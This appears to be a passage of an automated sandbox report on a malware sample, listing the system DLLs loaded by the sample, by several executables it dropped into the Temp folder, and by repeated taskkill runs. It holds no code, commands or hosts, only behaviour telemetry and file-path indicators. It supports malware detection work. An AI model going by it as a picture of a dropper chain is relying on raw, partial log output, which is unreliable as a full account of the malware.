Source: C:\Users\user\Desktop\file.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Section loaded: mstask.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Section loaded: dui70.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Section loaded: duser.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Section loaded: chartv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Section loaded: oleacc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Section loaded: atlthunk.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Section loaded: windows.fileexplorer.common.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Section loaded: explorerframe.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
